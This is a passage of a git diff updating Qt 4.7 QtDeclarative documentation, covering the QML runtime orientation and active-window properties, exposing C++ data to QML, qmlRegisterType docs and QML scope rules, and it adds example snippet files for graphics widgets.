+    To use this from within your QML file, access runtime.orientation,
+    which can be either Orientation.Landscape or Orientation.Portrait and which can be bound to in your
     application. An example is below:
 
 \code
-    import QDeclarativeViewer 1.0 as QDeclarativeViewer
-    
     Item {
-        QDeclarativeViewer.Screen { id: qmlviewerScreen }
-        state: (qmlviewerScreen.orientation == QDeclarativeViewer.Screen.Landscape) ? 'landscape' : ''
+        state: (runtime.orientation == Orientation.Landscape) ? 'landscape' : ''
+    }
+\endcode
+
+    This allows your application to respond to the orientation of the screen changing. The runtime
+    will automatically update this on some platforms (currently the N900 only) to match the physical
+    screen's orientation. On other plaforms orientation changes will only happen when explictly asked for.
+
+    \section3 Window Active
+
+    The runtime.isActiveWindow property tells whether the main window of the qml runtime is currently active
+    or not. This is specially useful for embedded devices when you want to pause parts of your application,
+    including animations, when your application loses focus or goes to the background.
+
+    The example below, stops the animation when the application's window is deactivated and resumes on activation:
+
+\code
+    Item {
+        width: 300; height: 200
+        Rectangle {
+            width: 100; height: 100
+            color: "green"
+            SequentialAnimation on x {
+                running: runtime.isActiveWindow
+                loops: Animation.Infinite
+                NumberAnimation {to: 200}
+                NumberAnimation {to: 0}
+            }
+        }
     }
 \endcode
 
diff --git a/doc/src/declarative/qtbinding.qdoc b/doc/src/declarative/qtbinding.qdoc
index 66d537d..d024ff2 100644
--- a/doc/src/declarative/qtbinding.qdoc
+++ b/doc/src/declarative/qtbinding.qdoc
@@ -73,9 +73,9 @@ QML component instances can then be created by calling the QDeclarativeComponent
 an example of loading a QML document, and creating an object from it.
 
 \code
-QDeclarativeEngine *engine = new QDeclarativeEngine(parent);
-QDeclarativeComponent component(engine, QUrl("main.qml"));
-QObject *myObject = component.create();
+    QDeclarativeEngine *engine = new QDeclarativeEngine(parent);
+    QDeclarativeComponent component(engine, QUrl::fromLocalFile("main.qml"));
+    QObject *myObject = component.create();
 \endcode
 
 \section1 Exposing Data
@@ -90,42 +90,29 @@ the root context is available to all object instances.
 \section1 Simple Data
 
 To expose data to a QML component instance, applications set \l {QDeclarativeContext::setContextProperty()}
-{context properties} which are then accessible by name from QML  \l {Property Binding}s and 
-\l {JavaScript Blocks}.  The following example shows how to expose a background color to a QML
-file.
+{context properties} which are then accessible by name from QML  \l {Property Binding}s and JavaScript.
+The following example shows how to expose a background color to a QML file through QDeclarativeView:
 
 \table
 \row
 \o
-\code
-// main.cpp
-QDeclarativeContext *windowContext = new QDeclarativeContext(engine->rootContext());
-windowContext->setContextProperty("backgroundColor", 
-                                  QColor(Qt::lightsteelblue));
+\c {// main.cpp}
+\snippet doc/src/declarative/snippets/qtbinding/contextproperties/main.cpp 0
 
-QDeclarativeComponent component(&engine, "main.qml");
-QObject *window = component.create(windowContext);
-\endcode
 \o
-\code
-// main.qml
-import Qt 4.6
-
-Rectangle {
-    color: backgroundColor
+\c {// main.qml}
+\snippet doc/src/declarative/snippets/qtbinding/contextproperties/main.qml 0
 
-    Text {
-        anchors.centerIn: parent
-        text: "Hello Light Steel Blue World!"
-    }
-}
-\endcode
 \endtable
 
+Or, if you want \c main.cpp to create the component without showing it in a QDeclarativeView, you could create an instance of QDeclarativeContext using QDeclarativeEngine::rootContext() instead:
+
+\snippet doc/src/declarative/snippets/qtbinding/contextproperties/main.cpp 1
+
 Context properties work just like normal properties in QML bindings - if the \c backgroundColor
-context property in the previous example was changed to red, the component object instances would
+context property in this example was changed to red, the component object instances would
 all be automatically updated.  Note that it is the responsibility of the creator to delete any
-QDeclarativeContext it constructs.  If the \c windowContext in the example above is no longer needed when
+QDeclarativeContext it constructs.  If the \c windowContext is no longer needed when
 the \c window component instantiation is destroyed, the \c windowContext must be destroyed
 explicitly.  The simplest way to ensure this is to set \c window as \c windowContext's parent.
 
@@ -148,78 +135,15 @@ allow QML to set values.
 The following example creates a \c CustomPalette object, and sets it as the \c palette context
 property.
 
-\code
-class CustomPalette : public QObject
-{
-Q_OBJECT
-Q_PROPERTY(QColor background READ background WRITE setBackground NOTIFY backgroundChanged)
-Q_PROPERTY(QColor text READ text WRITE setText NOTIFY textChanged)
-public:
-    CustomPalette() : m_background(Qt::white), m_text(Qt::black) {}
-
-    QColor background() const { return m_background; }
-    void setBackground(const QColor &c) { 
-        if (c != m_background) {
-            m_background = c;
-            emit backgroundChanged();
-        }
-    }
+\snippet doc/src/declarative/snippets/qtbinding/custompalette/custompalette.h 0
 
-    QColor text() const { return m_text; }
-    void setText(const QColor &c) { 
-        if (c != m_text) {
-            m_text = c;
-            emit textChanged();
-        }
-    }
-signals:
-    void textChanged();
-    void backgroundChanged():
-
-private:
-    QColor m_background;
-    QColor m_text;
-};
-
-int main(int argc, char **argv) 
-{
-    // ...
-
-    QDeclarativeContext *windowContext = new QDeclarativeContext(engine->rootContext());
-    windowContext->setContextProperty("palette", new CustomPalette);
-
-    QDeclarativeComponent component(&engine, "main.qml");
-    QObject *window = component.create(windowContext);
-}
-\endcode
+\snippet doc/src/declarative/snippets/qtbinding/custompalette/main.cpp 0
 
 The QML that follows references the palette object, and its properties, to set the appropriate
 background and text colors.  When the window is clicked, the palette's text color is changed, and
 the window text will update accordingly.
 
-\code
-// main.qml
-import Qt 4.6
-
-Rectangle {
-    width: 240
-    height: 320
-    color: palette.background
-
-    Text {
-        anchors.centerIn: parent
-        color: palette.text
-        text: "Hello Colorful World!"
-    }
-
-    MouseArea {
-        anchors.fill: parent
-        onClicked: {
-            palette.text = "blue";
-        }
-    }
-}
-\endcode
+\snippet doc/src/declarative/snippets/qtbinding/custompalette/main.qml 0
 
 To detect when a C++ property value - in this case the \c CustomPalette's \c text property - 
 changes, the property must have a corresponding NOTIFY signal.  The NOTIFY signal specifies a signal
@@ -255,75 +179,40 @@ the following types:
 \o QVariant
 \endlist
 
-This example toggles the "LED Blinker" when the MouseArea is clicked:
+This example toggles the "Stopwatch" object on/off when the MouseArea is clicked:
 
 \table
 \row
 \o
-\code
-// main.cpp
-class LEDBlinker : public QObject
-{
-    Q_OBJECT
-public:
-    LEDBlinker();
-
-    Q_INVOKABLE bool isRunning();
+\c {// main.cpp}
+\snippet doc/src/declarative/snippets/qtbinding/stopwatch/stopwatch.h 0
+\snippet doc/src/declarative/snippets/qtbinding/stopwatch/main.cpp 0
 
-public slots:
-    void start();
-    void stop();
-};
-
-int main(int argc, char **argv)
-{
-    // ...
-
-    QDeclarativeContext *context = engine->rootContext();
-    context->setContextProperty("ledBlinker", new LEDBlinker);
-
-    // ...
-}
-\endcode
 \o
-\code
-// main.qml
-import Qt 4.6
+\c {// main.qml}
+\snippet doc/src/declarative/snippets/qtbinding/stopwatch/main.qml 0
 
-Rectangle {
-    MouseArea {
-        anchors.fill: parent
-        onClicked: {
-            if (ledBlinker.isRunning())
-                ledBlinker.stop()
-            else
-                ledBlicker.start();
-        }
-    }
-}
-\endcode
 \endtable
 
 Note that in this particular example a better way to achieve the same result
-is to have a "running" property.  This leads to much nicer QML code:
+is to have a "running" property in \c main.qml.  This leads to much nicer QML code:
 
 \table
 \row
 \o
 \code
 // main.qml
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
     MouseArea {
         anchors.fill: parent
-        onClicked: ledBlinker.running = !ledBlinker.running
+        onClicked: stopwatch.running = !stopwatch.running
     }
 }
 \endcode
 \endtable
 
-
 Of course, it is also possible to call \l {Adding new methods}{functions declared in QML from C++}.
 
 
@@ -368,35 +257,17 @@ void MyApplication::continueLoading()
 QML content can be loaded from \l {The Qt Resource System} using the \e qrc: URL scheme.
 For example:
 
-\code
-<!DOCTYPE RCC><RCC version="1.0">
-<qresource>
-    <file>main.qml</file>
-    <file>images/background.png</file>
-</qresource>
-</RCC>
-\endcode
-\code
-// main.cpp
-MyApplication::MyApplication()
-{
-    // ...
-    component = new QDeclarativeComponent(engine, QUrl("qrc:/main.qml"));
-    if (component->isError()) {
-        qWarning() << component->errors();
-    } else {
-        QObject *myObject = component->create();
-    }
-}
-\endcode
-\code
-// main.qml
-import Qt 4.6
+\c [project/example.qrc]
+\quotefile doc/src/declarative/snippets/qtbinding/resources/example.qrc 
 
-Image {
-    source: "images/background.png"
-}
-\endcode
+\c [project/project.pro]
+\quotefile doc/src/declarative/snippets/qtbinding/resources/resources.pro 
+
+\c [project/main.cpp]
+\snippet doc/src/declarative/snippets/qtbinding/resources/main.cpp 0
+
+\c [project/main.qml]
+\snippet doc/src/declarative/snippets/qtbinding/resources/main.qml 0
 
 */
 
diff --git a/doc/src/declarative/qtdeclarative.qdoc b/doc/src/declarative/qtdeclarative.qdoc
index 41d6338..cbb2146 100644
--- a/doc/src/declarative/qtdeclarative.qdoc
+++ b/doc/src/declarative/qtdeclarative.qdoc
@@ -40,28 +40,82 @@
 ****************************************************************************/
 
 /*!
-\module QtDeclarative
-\title QtDeclarative Module
-\ingroup modules
+  \module QtDeclarative
+  \title QtDeclarative Module
+  \ingroup modules
 
-\brief The Qt Declarative module provides a declarative framework for building
-highly dynamic, custom user interfaces.
+  \brief The Qt Declarative module provides a declarative framework
+  for building highly dynamic, custom user interfaces.
 
-To include the definitions of the module's classes, use the
-following directive:
+  To include the definitions of the module's classes, use the
+  following directive:
 
-\code
-#include <QtDeclarative>
-\endcode
+  \code
+  #include <QtDeclarative>
+  \endcode
 
-To link against the module, add this line to your \l qmake \c
-.pro file:
+  To link against the module, add this line to your \l qmake \c
+  .pro file:
 
-\code
-QT += declarative
-\endcode
+  \code
+  QT += declarative
+  \endcode
 
-For more information on the Qt Declarative module, see the
-\l{declarativeui.html}{Declarative UI} documentation.
+  For more information on the Qt Declarative module, see the
+  \l{declarativeui.html}{Declarative UI} documentation.
+*/
+
+
+/*!
+  \macro QML_DECLARE_TYPE()
+  \relates QDeclarativeEngine
 
+  Declares a C++ type to be usable in the QML system. In addition
+  to this, a type must also be registered with the QML system using
+  qmlRegisterType().
 */
+
+
+/*!
+  \fn int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName)
+  \relates QDeclarativeEngine
+
+  This template function registers the C++ type in the QML system with
+  the name \a qmlName. in the library imported from \a uri having the
+  version number composed from \a versionMajor and \a versionMinor.
+  The type should also haved been declared with the QML_DECLARE_TYPE() macro.
+
+  Returns the QML type id.
+
+  Example: Register the C++ class \c MinehuntGame as the QML type
+  named \c Game for version 0.1 in the import library \c MinehuntCore:
+
+  \code
+  qmlRegisterType<MinehuntGame>("MinehuntCore", 0, 1, "Game");
+  \endcode
+
+*/
+
+/*!
+  \fn int qmlRegisterType()
+  \relates QDeclarativeEngine
+  \overload
+
+  This template function registers the C++ type in the QML
+  system. Instances of this type cannot be created from the QML
+  system.
+
+  Returns the QML type id.
+*/
+
+/*!
+  \fn int qmlRegisterInterface(const char *typeName)
+  \relates QDeclarativeEngine
+
+  This template function registers the C++ type in the QML system
+  under the name \a typeName.
+  The type should also haved been declared with the QML_DECLARE_TYPE() macro.
+
+
+  Returns the QML type id.
+  */
diff --git a/doc/src/declarative/qtprogrammers.qdoc b/doc/src/declarative/qtprogrammers.qdoc
index ca1d596..05ffeb0 100644
--- a/doc/src/declarative/qtprogrammers.qdoc
+++ b/doc/src/declarative/qtprogrammers.qdoc
@@ -65,7 +65,7 @@ QML provides direct access to the following concepts from Qt:
  \o Qt models - used directly in data binding (QAbstractItemModel and next generation QListModelInterface)
 \endlist
 
-Qt knowledge is \e required for \l {Extending QML}, and also for \l{Integrating QML with existing Qt UI code}.
+Qt knowledge is \e required for \l {Extending QML in C++}, and also for \l{Integrating QML with existing Qt UI code}.
 
 \section1 QML Items compared with QWidgets
 
diff --git a/doc/src/declarative/scope.qdoc b/doc/src/declarative/scope.qdoc
index 218af89..65553cf 100644
--- a/doc/src/declarative/scope.qdoc
+++ b/doc/src/declarative/scope.qdoc
@@ -39,342 +39,304 @@
 **
 ****************************************************************************/
 
-/*!
-\page qdeclarativescope.html
-\title QML Scope
+/*
+
+
+
+and requires extension to 
+fit naturally with QML.
 
-\tableofcontents
 
-\l {Property Binding}s and \l {JavaScript Blocks} are executed in a scope chain automatically 
-established by QML when a component instance is constructed.  QML is a \e {dynamically scoped} 
+JavaScript has only b
+JavaScript has a very simple built in scope is very simple
+
+script, and the precede d
+
+and \l {Integrating JavaScript}{JavaScript} are executed in a scope chain 
+automatically established by QML when a component instance is constructed.  QML is a \e {dynamically scoped} 
 language.  Different object instances instantiated from the same component can exist in 
 different scope chains.
 
 \image qml-scope.png
 
-\section1 JavaScript Variable object
 
-Each binding and script block has its own distinct JavaScript variable object where local 
-variables are stored.  That is, local variables from different bindings and script blocks never 
-conflict.
+*/
 
-\section1 Element Type Names
+/*!
+\page qdeclarativescope.html
+\title QML Scope
 
-Bindings or script blocks use element type names when accessing \l {Attached Properties} or 
-enumeration values.  The set of available element names is defined by the import list of the 
-\l {QML Documents}{QML Document} in which the the binding or script block is defined.
+\tableofcontents
 
-These two examples show how to access attached properties and enumeration values with different
-types of import statements.
-\table
-\row
-\o
-\code 
-import Qt 4.6
+QML property bindings, inline functions and imported JavaScript files all 
+run in a JavaScript scope.  Scope controls which variables an expression can 
+access, and which variable takes precedence when two or more names conflict.
 
-Text {
-    id: root
-    scale: root.PathView.scale
-    horizontalAlignment: Text.AlignLeft
-}
-\endcode
-\o
-\code
-import Qt 4.6 as MyQt
+As JavaScript's built-in scope mechanism is very simple, QML enhances it to fit 
+more naturally with the QML language extensions.
 
-Text {
-    id: root
-    scale: root.MyQt.PathView.scale
-    horizontalAlignment: MyQt.Text.AlignLeft
-}
-\endcode
-\endtable
+\section1 JavaScript Scope
 
-\section1 QML Local Scope
+QML's scope extensions do not interfere with JavaScript's natural scoping.
+JavaScript programmers can reuse their existing knowledge when programming
+functions, property bindings or imported JavaScript files in QML.
 
-Most variables references are resolved in the local scope.  The local scope is controlled by the
-QML component in which the binding or script block was defined.  The following example shows
-three different bindings, and the component that dictates each local scope.
+In the following example, the \c {addConstant()} method will add 13 to the 
+parameter passed just as the programmer would expect irrespective of the 
+value of the QML object's \c a and \c b properties.
 
-\table
-\row
-\o
 \code
-// main.qml
-import Qt 4.6
+QtObject {
+    property int a: 3
+    property int b: 9
 
-Rectangle { // Local scope component for binding 1
-    id: root
-    property string text
-        
-    Button {
-        text: root.text // binding 1
+    function addConstant(b) {
+        var a = 13;
+        return b + a;
     }
-
-    ListView {
-        delegate: Component { // Local scope component for binding 2
-            Rectangle { 
-                width: ListView.view.width // binding 2
-            }
-        }
-    }
-
 }
 \endcode
-\o
-\code
-// Button.qml
-import Qt 4.6
 
-Rectangle { // Local scope component for binding 3
-    id: root
-    property string text
+That QML respects JavaScript's normal scoping rules even applies in bindings.  
+This totally evil, abomination of a binding will assign 12 to the QML object's 
+\c a property.
 
-    Text { 
-        text: root.text  // binding 3
-    }
+\code
+QtObject {
+    property int a
+
+    a: { var a = 12; a; }
 }
 \endcode
-\endtable
 
-Inside the local scope, four "sub-scopes" exist.  Each sub-scope is searched in order when
-resolving a name; names in higher sub-scopes shadow those in lower sub-scopes.
+Every JavaScript expression, function or file in QML has its own unique
+variable object.  Local variables declared in one will never conflict
+with local variables declared in another.
 
-\section2 IDs
+\section1 Element Names and Imported JavaScript Files
 
-IDs present in the component take precendence over other names.  The QML engine enforces 
-uniqueness of IDs within a component, so their names cannot conflict with one another.
+\l {QML Document}s include import statements that define the element names 
+and JavaScript files visible to the document.  In addition to their use in the 
+QML declaration itself, element names are used by JavaScript code when accessing 
+\l {Attached Properties} and enumeration values.  
 
-Here is an example of using IDs within bindings:
+The effect of an import applies to every property binding, and JavaScript 
+function in the QML document, even those in nested inline components.  The 
+following example shows a simple QML file that accesses some enumeration
+values and calls an imported JavaScript function.
 
 \code
-Item {
-    id: root
-    width: nested.width
-    Item {
-        id: nested
-        height: root.height
-    }
-}
-\endcode
-
-\section2 Script Methods
+import Qt 4.7
+import "code.js" as Code
 
-Methods declared in script blocks are searched immediately after IDs.  In the case of multiple
-script blocks in the one component, the blocks are searched in the order in which they were
-declared - the nesting of script blocks within a component is not significant for name 
-resolution.  
-
-In the following example, \c {Method 1} shadows \c {Method 2} for the bindings, but not for
-\c {Method 3}.
-
-\code
-Item {
-    Script {
-        function getValue() { return 10; } // Method 1
-    }
+ListView {
+    snapMode: ListView.SnapToItem
 
-    Rectangle {
-        Script {
-            function getValue() { return 11; }  // Method 2
-            function getValue2() { return getValue(); } // Method 3
+    delegate: Component {
+        Text {
+            elide: Text.ElideMiddle
+            text: "A really, really long string that will require eliding."
+            color: Code.defaultColor()
         }
-
-        x: getValue()   // Resolves to Method 1, set to 10
-        y: getValue2()  // Resolves to Method 3, set to 11
     }
 }
 \endcode
 
-\section2 Scope Object
-
-A scope object is associated with each binding and script block.  Properties and methods of the 
-scope object appear in the scope chain, immediately after \l {Script Methods}.
+\section1 Binding Scope Object
 
-In bindings and script blocks established explicitly in \l {QML Documents}, the scope object is 
-always the element containing the binding or script block.  The following example shows two
-bindings, one using grouped properties, and the corresponding scope object.  These two bindings
-use the scope object to resolve variable references: \c height is a property on \l Rectangle, 
-and \c parent is a property on \l Text.
+Property bindings are the most common use of JavaScript in QML.  Property 
+bindings associate the result of a JavaScript expression with a property of an
+object.  The object to which the bound property belongs is known as the binding's 
+scope object.  In this QML simple declaration the \l Item object is the 
+binding's scope object.
 
 \code
-Item {       // Scope object for Script block 1
-    Script { // Script block 1
-        function calculateValue() { ... }
-    }
-
-    Rectangle {           // Scope object for Binding 1 and Script block 2
-        Script {          // Script block 2
-            function calculateColor() { ... }
-        }
-        width: height * 2 // Binding 1
-    }
-
-    Text {                                  // Scope object for Binding 2
-        font.pixelSize: parent.height * 0.7 // binding 2
-    }
+Item {
+    anchors.left: parent.left
 }
 \endcode
 
-One notable characteristic of the scope object is its interaction with \l {Attached Properties}.
-As attached properties exist on all objects, an attached property reference that is not
-explicitly prefixed by an id will \e always resolve to the attached property on the scope 
-object.
-
-In the following example, \c {Binding 1} will resolve to the attached properties of the 
-\l Rectangle element, as intended.  However, due to the property search of the scope object, 
-\c {Binding 2} will resolve to the attached properties of the \l Text element, which
-is probably not what was intended.  This code can be corrected, by replacing \c {Binding 2}
-with this explicit element reference \c {root.ListView.view.width}.
+Bindings have access to the scope object's properties without qualification.
+In the previous example, the binding accesses the \l Item's \c parent property
+directly, without needing any form of object prefix.  QML introduces a more 
+structured, object-oriented approach to JavaScript, and consequently does not 
+require the use of the JavaScript \c this property.
+
+Care must be used when accessing \l {Attached Properties} from bindings due
+to their interaction with the scope object.  Conceptually attached properties
+exist on \e all objects, even if they only have an effect on a subset of those.
+Consequently unqualified attached property reads will always resolve to an 
+attached property on the scope object, which is not always what the programmer 
+intended.
+
+For example, the \l PathView element attaches interpolated value properties to 
+its delegates depending on their position in the path.  As PathView only
+meaningfully attaches these properties to the root element in the delegate, any 
+sub-element that accesses them must explicitly qualify the root object, as shown 
+below.
 
 \code
-import Qt 4.6
-
-ListView {
-    delegate: Rectangle {
-        id: root
-        width: ListView.view.width // Binding 1
-        Text {
-            text: contactName
-            width: ListView.view.width // Binding 2
+PathView {
+    delegate: Component {
+        Rectangle {
+            id: root
+            Image {
+                scale: root.PathView.scale
+            }
         }
     }
 }
 \endcode
 
-\e TODO
-
-\list
-\o scope object for PropertyChanges
-\endlist
+If the \l Image element omitted the \c root prefix, it would inadvertantly access 
+the unset \c {PathView.scale} attached property on itself.
 
-\section2 Root Object
+\section1 Component Scope
 
-Properties and methods on the local scope component's root object appear in the scope chain
-immediately after the \l {Scope Object}.  If the scope object and root object are the same,
-this step has no effect.
-
-This example uses the root object to easily propagate data throughout the component.
+Each QML component in a QML document defines a logical scope.  Each document
+has at least one root component, but can also have other inline sub-components.
+The component scope is the union of the object ids within the component and the 
+component's root element's properties.
 
 \code
 Item {
-    property string description
-    property int fontSize
+    property string title
 
     Text {
-        text: description
-        font.pixelSize: fontSize
+        id: titleElement
+        text: "<b>" + title + "</b>"
+        font.pixelSize: 22
+        anchors.top: parent.top
+    }
+
+    Text { 
+        text: titleElement.text
+        font.pixelSize: 18
+        anchors.bottom: parent.bottom
     }
 }
 \endcode
 
-\section1 QML Component chain
+The example above shows a simple QML component that displays a rich text title 
+string at the top, and a smaller copy of the same text at the bottom.  The first
+\c Text element directly accesses the component's \c title property when
+forming the text to display.  That the root element's properties are directly
+accessible makes it trivial to distribute data throughout the component.
 
-When a QML component is instantiated it is given a parent component instance.  The parent 
-component instance is immutable - it is not affected, for example, by changes in the instance's
-visual parent (in the case of visual elements).  Should name resolution fail within the
-\l {QML Local Scope}, this parent chain is searched.
+The second \c Text element uses an id to access the first's text directly.  IDs
+are specified explicitly by the QML programmer so they always take precedence
+over other property names (except for those in the \l {JavaScript Scope}).  For 
+example, in the unlikely event that the binding's \l {Binding Scope Object}{scope 
+object}  had a \c titleElement property in the previous example, the \c titleElement 
+id would still take precedence.
 
-For each component instance in the chain, the following are examined:
+\section1 Component Instance Hierarchy
 
-\list 1
-\o IDs
-\o Script Methods
-\o Root Object
-\endlist
+In QML, component instances connect their component scopes together to form a 
+scope hierarchy.  Component instances can directly access the component scopes of 
+their ancestors.
 
-This list is a sub-set of that in the \l {QML Local Scope}.
+The easiest way to demonstrate this is with inline sub-components whose component 
+scopes are implicitly scoped as children of the outer component.
 
-A sub-component's parent component instance is set to the component that created it.
-In the following example, the two \c Button instances have the 
-\c main.qml instance as their parent component instance.  If the \c Button type was used from
-within another QML file, it may have a difference parent component instance, and consequently
-the \c buttonClicked() method may resolve differently.
-
-\table
-\row
-\o
 \code
-// main.qml
 Item {
-    function buttonClicked(var data) { 
-        print(data + " clicked");
-    }
+    property color defaultColor: "blue"
 
-    Button { text: "Button1" }
-    Button { text: "Button2" }
-}
-\endcode
-\o
-\code
-// Button.qml
-Rectangle {
-    id: root
-    property string text
-    width: 80
-    height: 30
-    Text {
-        anchors.centerIn: parent
-        text: root.text
-    }
-    MouseArea { 
-        anchors.fill: parent
-        onClicked: buttonClicked(text) 
+    ListView {
+        delegate: Component {
+            Rectangle {
+                color: defaultColor
+            }
+        }
     }
 }
 \endcode
-\endtable
 
-The code above discourages the re-use of the \c Button component, as it has a hard dependency
-on the environment in which it is used.  Tightly coupling two types together like this should
-only be used when the components are within the same module, and the author controls the 
-implementations of both.
+The component instance hierarchy allows instances of the delegate component 
+to access the \c defaultColor property of the \c Item element.  Of course,
+had the delegate component had a property called \c defaultColor that would 
+have taken precedence.  
 
-In the following example, the \l ListView sets the parent component instance of each of its
-delegates to its own component instance.  In this way, the main component can easily pass data
-into the \l ListView delegates.
+The component instance scope hierarchy extends to out-of-line components, too.
+In the following example, the \c TitlePage.qml component creates two 
+\c TitleText instances.  Even though the \c TitleText element is in a separate 
+file, it still has access to the \c title property when it is used from within 
+the \c TitlePage.  QML is a dynamically scoped language - depending on where it 
+is used, the \c title property may resolve differently.
 
 \code
+// TitlePage.qml
+import Qt 4.7
 Item {
-    property color delegateColor: "red"
+    property string title
+    
+    TitleText { 
+        size: 22
+        anchors.top: parent.top
+    }
 
-    ListView {
-        delegate: Component {
-            Rectangle {
-                color: delegateColor
-            }
-        }
+    TitleText { 
+        size: 18
+        anchors.bottom: parent.bottom
     }
 }
-\endcode
-
-\section1 QDeclarativeContext chain
 
-The \l QDeclarativeContext chain allows C++ applications to pass data into QML applications.  
-\l QDeclarativeComponent object instances created from C++ are passed a \l QDeclarativeContext in which they
-are created.  Variables defined in this context appear in the scope chain.  Each QDeclarativeContext 
-also defines a parent context.  Variables in child QDeclarativeContext's shadow those in its parent.
+// TitleText.qml
+import Qt 4.7
+Text {
+    property int size
+    text: "<b>" + title + "</b>"
+    font.pixelSize: size
+}
+\endcode
 
-Consider the following QDeclarativeContext tree.
+Dynamic scoping is very powerful, but it must be used cautiously to prevent 
+the behavior of QML code from becoming difficult to predict.  In general it
+should only be used in cases where the two components are already tightly 
+coupled in another way.  When building reusable components, it is preferable 
+to use property interfaces, like this:
 
-\image qml-context-tree.png
+\code
+// TitlePage.qml
+import Qt 4.7
+Item {
+    id: root
+    property string title
+    
+    TitleText { 
+        title: root.title
+        size: 22
+        anchors.top: parent.top
+    }
 
-The value of \c background in \c {Context 1} would be used if it was instantiated in 
-\c {Context 1}, where as the value of the \c background in the root context would be used if
-the component instance was instantiated in \c {Context 2}.
+    TitleText { 
+        title: root.title
+        size: 18
+        anchors.bottom: parent.bottom
+    }
+}
 
-\code
-import Qt 4.6
+// TitleText.qml
+import Qt 4.7
+Text {
+    property string title
+    property int size
 
-Rectangle {
-    id: myRect
-    width: 100; height: 100
-    color: background
+    text: "<b>" + title + "</b>"
+    font.pixelSize: size
 }
 \endcode
 
-\section1 QML Global Object
+\section1 JavaScript Global Object
+
+In addition to all the properties that a developer would normally expect on
+the JavaScript global object, QML adds some custom extensions to make UI or
+QML specific tasks a little easier.  These extensions are described in the
+\l {QML Global Object} documentation.
+
+QML disallows element, id and property names that conflict with the properties
+on the global object to prevent any confusion.  Programmers can be confident 
+that \c Math.min(10, 9) will always work as expected!
 
-The \l {QML Global Object} contains all the properties of the JavaScript global object, plus some
-QML specific extensions.
 */
diff --git a/doc/src/declarative/snippets/integrating/graphicswidgets/bluecircle.h b/doc/src/declarative/snippets/integrating/graphicswidgets/bluecircle.h
new file mode 100644
index 0000000..028718f
--- /dev/null
+++ b/doc/src/declarative/snippets/integrating/graphicswidgets/bluecircle.h
@@ -0,0 +1,58 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+#include <QtDeclarative/qdeclarative.h>
+#include <QGraphicsWidget>
+#include <QPainter>
+
+class BlueCircle : public QGraphicsWidget
+{
+    Q_OBJECT
+public:
+    void paint(QPainter *painter, const QStyleOptionGraphicsItem *, QWidget *)
+    {
+        painter->setPen(QColor(Qt::blue));
+        painter->drawEllipse(0, 0, size().width(), size().height());
+    }
+};
+
+QML_DECLARE_TYPE(BlueCircle)
+//![0]
diff --git a/doc/src/declarative/snippets/integrating/graphicswidgets/graphicswidgets.pro b/doc/src/declarative/snippets/integrating/graphicswidgets/graphicswidgets.pro
new file mode 100644
index 0000000..21c8a37
--- /dev/null
+++ b/doc/src/declarative/snippets/integrating/graphicswidgets/graphicswidgets.pro
@@ -0,0 +1,13 @@
+TEMPLATE = lib
+CONFIG += qt plugin
+QT += declarative
+
+HEADERS += redsquare.h \
+           bluecircle.h
+
+SOURCES += shapesplugin.cpp
+
+DESTDIR = lib
+OBJECTS_DIR = tmp
+MOC_DIR = tmp
+
diff --git a/doc/src/declarative/snippets/integrating/graphicswidgets/main.qml b/doc/src/declarative/snippets/integrating/graphicswidgets/main.qml
new file mode 100644
index 0000000..ffcf79d
--- /dev/null
+++ b/doc/src/declarative/snippets/integrating/graphicswidgets/main.qml
@@ -0,0 +1,32 @@
+import Qt 4.7
+import Qt.widgets 4.7
+
+Rectangle {
+    width: 200
+    height: 200
+
+    RedSquare { 
+        id: square
+        width: 80
+        height: 80
+    }
+
+    BlueCircle {
+        anchors.left: square.right
+        width: 80
+        height: 80
+    }
+
+    QGraphicsWidget {
+        anchors.top: square.bottom
+        size.width: 80
+        size.height: 80
+        layout: QGraphicsLinearLayout {
+            LayoutItem {
+                preferredSize: "100x100"
+                Rectangle { color: "yellow"; anchors.fill: parent }
+            }
+        }
+    }
+}
+
diff --git a/doc/src/declarative/snippets/integrating/graphicswidgets/qmldir b/doc/src/declarative/snippets/integrating/graphicswidgets/qmldir
new file mode 100644
index 0000000..f94dad2
--- /dev/null
+++ b/doc/src/declarative/snippets/integrating/graphicswidgets/qmldir
@@ -0,0 +1 @@
+plugin graphicswidgets lib
diff --git a/doc/src/declarative/snippets/integrating/graphicswidgets/redsquare.h b/doc/src/declarative/snippets/integrating/graphicswidgets/redsquare.h
new file mode 100644
index 0000000..76e7d11
--- /dev/null
+++ b/doc/src/declarative/snippets/integrating/graphicswidgets/redsquare.h
@@ -0,0 +1,57 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
